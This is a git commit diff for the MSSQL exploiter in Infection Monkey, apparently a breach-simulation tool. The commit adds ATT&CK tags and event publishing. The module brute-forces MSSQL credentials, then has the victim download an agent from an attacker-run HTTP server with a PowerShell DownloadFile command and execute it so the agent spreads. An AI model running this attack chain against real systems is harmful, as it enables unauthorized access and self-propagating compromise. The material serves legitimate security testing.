forked from p15670423/monkey
Merge branch '2269-publish-events-for-mssql-exploiter' into develop
PR #2401
This commit is contained in:
commit
6d60e33c1e
|
@ -1,12 +1,18 @@
|
||||||
import logging
|
import logging
|
||||||
from pathlib import PureWindowsPath
|
from pathlib import PureWindowsPath
|
||||||
from time import sleep
|
from time import sleep, time
|
||||||
from typing import Sequence, Tuple
|
from typing import Iterable, Optional, Tuple
|
||||||
|
|
||||||
import pymssql
|
import pymssql
|
||||||
|
|
||||||
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
|
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
|
||||||
from common.credentials import get_plaintext
|
from common.credentials import get_plaintext
|
||||||
|
from common.tags import (
|
||||||
|
T1059_ATTACK_TECHNIQUE_TAG,
|
||||||
|
T1105_ATTACK_TECHNIQUE_TAG,
|
||||||
|
T1110_ATTACK_TECHNIQUE_TAG,
|
||||||
|
T1210_ATTACK_TECHNIQUE_TAG,
|
||||||
|
)
|
||||||
from common.utils.exceptions import FailedExploitationError
|
from common.utils.exceptions import FailedExploitationError
|
||||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||||
from infection_monkey.exploit.tools.helpers import get_agent_dst_path
|
from infection_monkey.exploit.tools.helpers import get_agent_dst_path
|
||||||
|
@ -20,6 +26,8 @@ from infection_monkey.utils.threading import interruptible_iter
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
MSSQL_EXPLOITER_TAG = "mssql-exploiter"
|
||||||
|
|
||||||
|
|
||||||
class MSSQLExploiter(HostExploiter):
|
class MSSQLExploiter(HostExploiter):
|
||||||
_EXPLOITED_SERVICE = "MSSQL"
|
_EXPLOITED_SERVICE = "MSSQL"
|
||||||
|
@ -36,13 +44,20 @@ class MSSQLExploiter(HostExploiter):
|
||||||
"DownloadFile(^''{http_path}^'' , ^''{dst_path}^'')"
|
"DownloadFile(^''{http_path}^'' , ^''{dst_path}^'')"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
_EXPLOITER_TAGS = (MSSQL_EXPLOITER_TAG, T1110_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG)
|
||||||
|
_PROPAGATION_TAGS = (
|
||||||
|
MSSQL_EXPLOITER_TAG,
|
||||||
|
T1059_ATTACK_TECHNIQUE_TAG,
|
||||||
|
T1105_ATTACK_TECHNIQUE_TAG,
|
||||||
|
)
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
super().__init__()
|
super().__init__()
|
||||||
self.cursor = None
|
self.cursor = None
|
||||||
self.agent_http_path = None
|
self.agent_http_path = None
|
||||||
|
|
||||||
def _exploit_host(self) -> ExploiterResultData:
|
def _exploit_host(self) -> ExploiterResultData:
|
||||||
agent_path_on_victim = get_agent_dst_path(self.host)
|
agent_path_on_victim = PureWindowsPath(get_agent_dst_path(self.host))
|
||||||
|
|
||||||
# Brute force to get connection
|
# Brute force to get connection
|
||||||
creds = generate_identity_secret_pairs(
|
creds = generate_identity_secret_pairs(
|
||||||
|
@ -52,16 +67,18 @@ class MSSQLExploiter(HostExploiter):
|
||||||
try:
|
try:
|
||||||
self.cursor = self._brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, creds)
|
self.cursor = self._brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, creds)
|
||||||
except FailedExploitationError:
|
except FailedExploitationError:
|
||||||
logger.info(
|
error_message = (
|
||||||
f"Failed brute-forcing of MSSQL server on {self.host},"
|
f"Failed brute-forcing of MSSQL server on {self.host},"
|
||||||
f" no credentials were successful"
|
f" no credentials were successful"
|
||||||
)
|
)
|
||||||
|
logger.error(error_message)
|
||||||
return self.exploit_result
|
return self.exploit_result
|
||||||
|
|
||||||
if self._is_interrupted():
|
if self._is_interrupted():
|
||||||
self._set_interrupted()
|
self._set_interrupted()
|
||||||
return self.exploit_result
|
return self.exploit_result
|
||||||
|
|
||||||
|
timestamp = time()
|
||||||
try:
|
try:
|
||||||
self._upload_agent(agent_path_on_victim)
|
self._upload_agent(agent_path_on_victim)
|
||||||
self._run_agent(agent_path_on_victim)
|
self._run_agent(agent_path_on_victim)
|
||||||
|
@ -72,15 +89,17 @@ class MSSQLExploiter(HostExploiter):
|
||||||
)
|
)
|
||||||
|
|
||||||
logger.error(error_message)
|
logger.error(error_message)
|
||||||
|
self._publish_propagation_event(timestamp, False, error_message=error_message)
|
||||||
self.exploit_result.error_message = error_message
|
self.exploit_result.error_message = error_message
|
||||||
|
|
||||||
return self.exploit_result
|
return self.exploit_result
|
||||||
|
|
||||||
|
self._publish_propagation_event(timestamp, True)
|
||||||
self.exploit_result.propagation_success = True
|
self.exploit_result.propagation_success = True
|
||||||
return self.exploit_result
|
return self.exploit_result
|
||||||
|
|
||||||
def _brute_force(
|
def _brute_force(
|
||||||
self, host: str, port: str, users_passwords_pairs_list: Sequence[Tuple[str, str]]
|
self, host: str, port: str, users_passwords_pairs_list: Iterable[Tuple[str, str]]
|
||||||
) -> pymssql.Cursor:
|
) -> pymssql.Cursor:
|
||||||
"""
|
"""
|
||||||
Starts the brute force connection attempts and if needed then init the payload process.
|
Starts the brute force connection attempts and if needed then init the payload process.
|
||||||
|
@ -106,6 +125,7 @@ class MSSQLExploiter(HostExploiter):
|
||||||
)
|
)
|
||||||
|
|
||||||
for user, password in credentials_iterator:
|
for user, password in credentials_iterator:
|
||||||
|
timestamp = time()
|
||||||
try:
|
try:
|
||||||
# Core steps
|
# Core steps
|
||||||
# Trying to connect
|
# Trying to connect
|
||||||
|
@ -122,14 +142,14 @@ class MSSQLExploiter(HostExploiter):
|
||||||
)
|
)
|
||||||
self.exploit_result.exploitation_success = True
|
self.exploit_result.exploitation_success = True
|
||||||
self.add_vuln_port(MSSQLExploiter.SQL_DEFAULT_TCP_PORT)
|
self.add_vuln_port(MSSQLExploiter.SQL_DEFAULT_TCP_PORT)
|
||||||
self.report_login_attempt(True, user, password)
|
self._report_login_attempt(timestamp, True, user, password)
|
||||||
cursor = conn.cursor()
|
cursor = conn.cursor()
|
||||||
|
|
||||||
return cursor
|
return cursor
|
||||||
except pymssql.OperationalError as err:
|
except pymssql.OperationalError as err:
|
||||||
logger.info(f"Connection to MSSQL failed: {err}")
|
error_message = f"Connection to MSSQL failed: {err}"
|
||||||
self.report_login_attempt(False, user, password)
|
logger.info(error_message)
|
||||||
# Combo didn't work, hopping to the next one
|
self._report_login_attempt(timestamp, False, user, password, error_message)
|
||||||
pass
|
|
||||||
|
|
||||||
logger.warning(
|
logger.warning(
|
||||||
"No user/password combo was able to connect to host: {0}:{1}, "
|
"No user/password combo was able to connect to host: {0}:{1}, "
|
||||||
|
@ -139,14 +159,23 @@ class MSSQLExploiter(HostExploiter):
|
||||||
"Bruteforce process failed on host: {0}".format(self.host.ip_addr)
|
"Bruteforce process failed on host: {0}".format(self.host.ip_addr)
|
||||||
)
|
)
|
||||||
|
|
||||||
|
def _report_login_attempt(
|
||||||
|
self, timestamp: float, success: bool, user, password: str, message: str = ""
|
||||||
|
):
|
||||||
|
self._publish_exploitation_event(timestamp, success, error_message=message)
|
||||||
|
self.report_login_attempt(success, user, password)
|
||||||
|
|
||||||
def _upload_agent(self, agent_path_on_victim: PureWindowsPath):
|
def _upload_agent(self, agent_path_on_victim: PureWindowsPath):
|
||||||
http_thread = self._start_agent_server(agent_path_on_victim)
|
http_thread = self._start_agent_server(agent_path_on_victim)
|
||||||
|
|
||||||
self._run_agent_download_command(agent_path_on_victim)
|
self._run_agent_download_command(agent_path_on_victim)
|
||||||
|
|
||||||
|
if http_thread:
|
||||||
MSSQLExploiter._stop_agent_server(http_thread)
|
MSSQLExploiter._stop_agent_server(http_thread)
|
||||||
|
|
||||||
def _start_agent_server(self, agent_path_on_victim: PureWindowsPath) -> LockedHTTPServer:
|
def _start_agent_server(
|
||||||
|
self, agent_path_on_victim: PureWindowsPath
|
||||||
|
) -> Optional[LockedHTTPServer]:
|
||||||
self.agent_http_path, http_thread = HTTPTools.create_locked_transfer(
|
self.agent_http_path, http_thread = HTTPTools.create_locked_transfer(
|
||||||
self.host, str(agent_path_on_victim), self.agent_binary_repository
|
self.host, str(agent_path_on_victim), self.agent_binary_repository
|
||||||
)
|
)
|
||||||
|
@ -179,7 +208,7 @@ class MSSQLExploiter(HostExploiter):
|
||||||
|
|
||||||
def _build_agent_launch_command(self, agent_path_on_victim: PureWindowsPath) -> str:
|
def _build_agent_launch_command(self, agent_path_on_victim: PureWindowsPath) -> str:
|
||||||
agent_args = build_monkey_commandline(
|
agent_args = build_monkey_commandline(
|
||||||
self.servers, self.current_depth + 1, agent_path_on_victim
|
self.servers, self.current_depth + 1, str(agent_path_on_victim)
|
||||||
)
|
)
|
||||||
|
|
||||||
return f"{agent_path_on_victim} {DROPPER_ARG} {agent_args}"
|
return f"{agent_path_on_victim} {DROPPER_ARG} {agent_args}"
|
||||||
|
|
|
@ -3,6 +3,7 @@ import urllib.error
|
||||||
import urllib.parse
|
import urllib.parse
|
||||||
import urllib.request
|
import urllib.request
|
||||||
from threading import Lock
|
from threading import Lock
|
||||||
|
from typing import Optional, Tuple
|
||||||
|
|
||||||
from infection_monkey.network.firewall import app as firewall
|
from infection_monkey.network.firewall import app as firewall
|
||||||
from infection_monkey.network.info import get_free_tcp_port
|
from infection_monkey.network.info import get_free_tcp_port
|
||||||
|
@ -28,7 +29,7 @@ class HTTPTools(object):
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def create_locked_transfer(
|
def create_locked_transfer(
|
||||||
host, dropper_target_path, agent_binary_repository, local_ip=None, local_port=None
|
host, dropper_target_path, agent_binary_repository, local_ip=None, local_port=None
|
||||||
) -> LockedHTTPServer:
|
) -> Tuple[Optional[str], Optional[LockedHTTPServer]]:
|
||||||
"""
|
"""
|
||||||
Create http server for file transfer with a lock
|
Create http server for file transfer with a lock
|
||||||
:param host: Variable with target's information
|
:param host: Variable with target's information
|
||||||
|
|
Loading…
Reference in New Issue